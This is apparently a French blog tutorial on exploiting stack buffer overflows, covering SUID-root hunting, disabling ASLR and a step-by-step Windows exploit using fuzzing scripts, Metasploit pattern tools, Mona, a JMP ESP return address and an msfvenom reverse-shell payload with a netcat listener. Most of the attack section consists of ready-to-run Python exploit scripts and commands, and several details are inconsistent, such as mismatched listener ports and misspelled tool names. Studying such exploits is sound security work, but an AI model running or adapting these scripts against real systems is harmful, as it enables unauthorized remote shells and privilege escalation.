Buffer Overflow

1. Notions essentielles

Quand un programme est exécuté, différents éléments (par exemple des variables) sont stockés en mémoire.

Premièrement, l’OS crée des emplacements mémoire ou le programme pourra « tourner ». Cet emplacement mémoire inclut les instructions du programme actuel.

Deuxièmement, les informations du programme sont chargées dans l’espace mémoire créé.Il existe trois types de segments dans le programme : .text, .bss et .data.

  • Le .text est en lecture seule tandis que le .bss et le .data sont en lecture/écriture.
  • Le .data et le .bss sont réservés pour les variables globales.
  • Le .data contient les données initialisées.
  • Le .bss contient les données non initialisées.lLe .text contient les instructions du programme.

Finalement, la pile (stack) et le heap (partie de la mémoire interne utilisée pour construire ou rejeter dynamiquement des objets de données) sont initialisés.

Stack (LIFO) : la donnée la plus récente placée (push) dans la pile sera la première sortie (pop).

Une LIFO est idéale pour mémoriser des données transitoires ou des informations qui n’ont pas besoin d’être stockées longtemps.

La pile stocke les variables locales, les appels à fonction et d’autres informations utilisées pour nettoyer la pile après qu’une fonction ou procédure ait été appelée.À chaque donnée stockée dans la pile, l’adresse contenue dans le pointeur de pile (ESP) décroît.

La première chose à trouver sur une machine UNIX lors d’une attaque locale est un programme vulnérable, mais cela ne suffit pas. Il faut injecter notre code dans un programme qui est exécuté avec les droits root même s’il est appelé par un utilisateur.

On se retrouvera avec les droits root et on sera en possession d’un shell qui permettra d’exécuter n’importe quelle commande en tant que root.

Comment connaître les programmes avec le SUID root activé ?

find / -type f -perm -04000

1.2 Un exemple simple pour comprendre

Pour pouvoir dérouler notre exemple, nous allons devoir désactiver le patch Linux sinon cela ne marchera pas du à la randomization des adresses :

# cat /proc/sys/kernel/randomize_va_space 
1 
# echo 0 > /proc/sys/kernel/randomize_va_space 
# 
# cat /proc/sys/kernel/randomize_va_space 
0 

Voici un programme très simple qui alloue de la mémoire.

#include <stdio.h> 
#include <string.h> 
#include <stdlib.h> 
int vuln(char *arg) 
{ 
    char buffer[512]; 
    strcpy(buffer,arg); 
    return 1; 
} 
int main(int argc, char **argv) 
{ 
if(argc<2)exit(0); 
vuln(argv[1]); 
exit(1); 
}

Dans le programme ci-dessus, le buffer a été déclaré avec une taille de 512 octets.

Les sauvegardes des registres sur la pile sont codées sur 4 octets (registres 32 bits).

Les deux arguments de la fonction vuln sont des adresses de buffer, ils sont codés sur 4 octets.

Si nous arrivons à écrire 4 octets de plus que la taille du buffer, alors les 4 octets de EBP seront écrasés.

Si nous arrivons à écrire 4 octets de plus, alors c’est EIP qui sera écrasé.

Si EIP est écrasé par une valeur que nous aurons définie, lors de l’appel à ret, c’est cette valeur qui sera extraite de la pile et à laquelle le programme sautera.

Nous risquons d’avoir un écart de 4 octets suivant la version du compilateur.

Compilons d’abord le programme, donnons-lui le droit d’exécution et activons le bit SUID :

# gcc -o programme_test programme_test.c
# chmod u+s programme_test

Nous allons pouvoir nous attaquer au buffer overflow.

La première chose à tester est la faillibilité de notre programme. Nous allons donc essayer d’injecter un grand nombre d’arguments en lançant notre programme. Si celui-ci est vulénrable, On aura un segment fault en retour.

ASTUCE : Voici ma commande préféré pour rapidement génerer des caractères. Pour écrire, par exemple, un grand nombre de « A » grâce à Python on écrit :

python -c 'print "A" * 1000' > BUFF.TXT

Sur votre terminal vous devriez voir apparaître 1000 fois le caractère « A » :

On lance notre programme avec en paramètre nos 1000 caractère « A » :

./premier_test BUFF.txt

Notre programme nous renvoie une erreur de segmentation. Il est donc susceptible d’être vulenrable à un, buffer overflow.

Maintenant il faut déterminer exactement pour quel nombre de caractères le programme plante pour pouvoir écraser l’adresse de retour.

Nous allons pour l’instant tester manuellement jusqu’à trouver la taille du buffer. Nous verrons ultérieurement comment automatiser tout ça.

Pour visualiser le contenu de l’adresse de retour, on lance gdb sous Linux.

$ gdb ./premier_test
(gdb) r 'python -c 'print "A" * 1000''

r signifie run, non lance le programme avec les 1000 « A » comme arguments.

On peut voir « Segmentation fault » avec une adresse inconnue qui est 0x41414141. Que représente cette adresse ? 41 en hexadécimal représente le A. Donc l’adresse de retour a été remplacée par quatre A. L’adresse de retour a donc bien été écrasée.

Program received signal SIGSEGV, Segmentation fault. 
0x41414141 in ?? ()

On va essayer, en tâtonnement, de trouver exactement le moment où nous écrasons l’adresse de retour.

(gdb) r 'python -c 'print "A" * 200''
(gdb) r 'python -c 'print "A" * 500''
(gdb) r 'python -c 'print "A" * 520''

Nous voyons que pour 520 A exactement, nous écrasons l’adresse de retour (EIP).

1. Exploitation d’un Buffer Overflow

Prérequis (Avant chaque buffer-overflow que vous ferez) :

1) Préparer votre environnement :

2) Configurer Mona :

Avant tout on crée un répertoire dédié à Mona :

!mona config -set workingfolder c:\mona\%p

3) Télécharger sur votre VM Windows l’executable sujet au Buffer-overflow

4) Lancez l’executable et Immunity Debugger en mode Administarteur

5) Appuyer sur le bouton run (à refaire à chaque fois que l’application crash), pour revenir au stade précedent vous pouvez cliquer sur l’icone << et ensuite cliquer sur run.

1) Fuzzing

import socket, time, sys

ip = "IP"
port = PORT
timeout = 5

buffer = []
counter = 100
while len(buffer) < 30:
    buffer.append("A" * counter)
    counter += 100

for string in buffer:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(timeout)
        connect = s.connect((ip, port))
        s.recv(1024)
        print("Fuzzing with %s bytes" % len(string))
        s.send("OVERFLOW1 " + string + "\r\n")
        s.recv(1024)
        s.close()
    except:
        print("Could not connect to " + ip + ":" + str(port))
        sys.exit(0)
    time.sleep(1)

2) Crash EIP

Nous savons maintenant combien de bytes il nous faut envoyer pour faire crasher l’application. On va donc utiliser metasploit qui va créer un pattern spécial que nous allons utiliser ensuite pour trouver l’offset.

msf-pattern-create -l <NUMBER OF BYTES  SEND + 400>

Copier le résultat et remplacer le dans la variable overflow= » » dans le script exploit.py :

import socket

ip = "10.0.0.1"
port = 21

prefix = ""
offset = 146
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

3) Trouver l’offset

On refait crasher l’application, on va donc maintenant regarder l’addresse de l’EIP et demander à metasploit de nous trouver l’offset grâce au pattern créer précedemment et cette adresse.

msf-patter_offset -l   -q EIP_Address

On remplace l’offset trouvé dans notre script exploit.py (exemple : offset=146)

4) Vérification de l’overflow de l’EIP

On ajoute 4 « B » après notre overflow de l’EIP et des « C » (BYTES SEND – OFFSET -4 fois la lettre B). Nous faisons cela pour vérifier que nous allons bien overflow l’EIP et que nous allons pouvoir déposer notre shell juste après.

On lance notre programme, on fait crash l’application. La valeur de L’EIP devrait être 42424242 = « BBBB ». On a donc bien réussi à overflow l’EIP qui est maintenant rempli de « B ».

import socket

ip = "10.0.0.1"
port = 21

prefix = ""
offset = 146
overflow = "A" * offset
retn = "B" * 4
padding = ""
payload = "C" * (BYTS SEND - OFFSET -4)
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

5) Trouver les Badchars

Certains caractères peuvent faire « changer » le fonctionnement de certaines fonctions, nous allons donc les trouver et les exclures.

Dans Immunity Debugger, on exclu avec Mona, le bit \x00 :

!mona bytearray -b "\x00"
import socket

ip = "10.10.93.223"
port = 1337

prefix = "OVERFLOW1 "
offset = 146
overflow = "A" * offset
badchars = (
  "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
retn = ""
padding = ""
payload = "C" * (BYTES SEND - OFFSET -4)

postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

On retourne dans Immunty Debugger :

!mona compare -f C:\mona\appname\bytearray.bin -a 

On note les Badchars trouvés par Mona sous la forme « \x00\x01\x02″…

6) Trouver la fonction JMP

Pour être sur que notre shellcode va s’executer après le debordement de notre stack nous allons retourner une adresse qui contient une instruction JUMP (JMP) qui va nous permettre de « sauter » directement à la prochaine instruction.

Dans ImmunityDebugger on tape :

!mona jmp -r esp -cpb BADCHARS

Voici un exemple :

!mona jmp -r esp -cpb "\x00\x0a\x0d"

Mona vas nous retourner une ou plusieur adresse lié à des fonctions jump. On prend une addresse de function JMP et on la note à l’envers (little endian).

Exemple :

0x625011af 

deviendras

\xaf\x11\x50\x62

7) On génère notre reverse_shell

On n’a plus qu’à générer notre reverse_shell en excluant bien les badchars avec l’option -b (\x00\x01\x02)

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.92 LPORT=53 EXITFUNC=thread -b BADCHARS -f c

8) Padding

Pour être sur encore que rien n’empeche notre shellcode de s’executer on rajouter ce qu’on appelle un padding. C’est un petit espace juste après notre instruction JUMP (j’aime bien en mettre 32 mais vous pouvez en mettre moins ou un peu plus).

padding = "\x90" * 32

Pour résumer, on se retrouve avec Exploit.py :

import socket

ip = "10.10.93.223"
port = 1337



prefix = "OVERFLOW1 "

offset = 146 #offset trouvé avec msf

overflow = "A" * offset

retn = "\x56\x23\x43\x9A" #l'adresse de retour à une fonction jump.

padding = "\x90" * 32 # un peu de padding

payload = "\xdb\xde\xba\x69\xd7\xe9\xa8\xd9\x74\x24\xf4\x58\x29\xc9\xb1..." # notre shellcode généré par msf

postfix = ""




buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
    s.connect((ip, port))
    print("Sending evil buffer...")
    s.send(buffer + "\r\n")
    print("Done!")
except:
    print("Could not connect.")

On lance un listener :

nc -lnvp 1234
python exploit.py

Vous devriez récuperer un reverse shell !! TADAM !

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l’aide de votre compte WordPress.com. Déconnexion /  Changer )

Photo Google

Vous commentez à l’aide de votre compte Google. Déconnexion /  Changer )

Image Twitter

Vous commentez à l’aide de votre compte Twitter. Déconnexion /  Changer )

Photo Facebook

Vous commentez à l’aide de votre compte Facebook. Déconnexion /  Changer )

Connexion à %s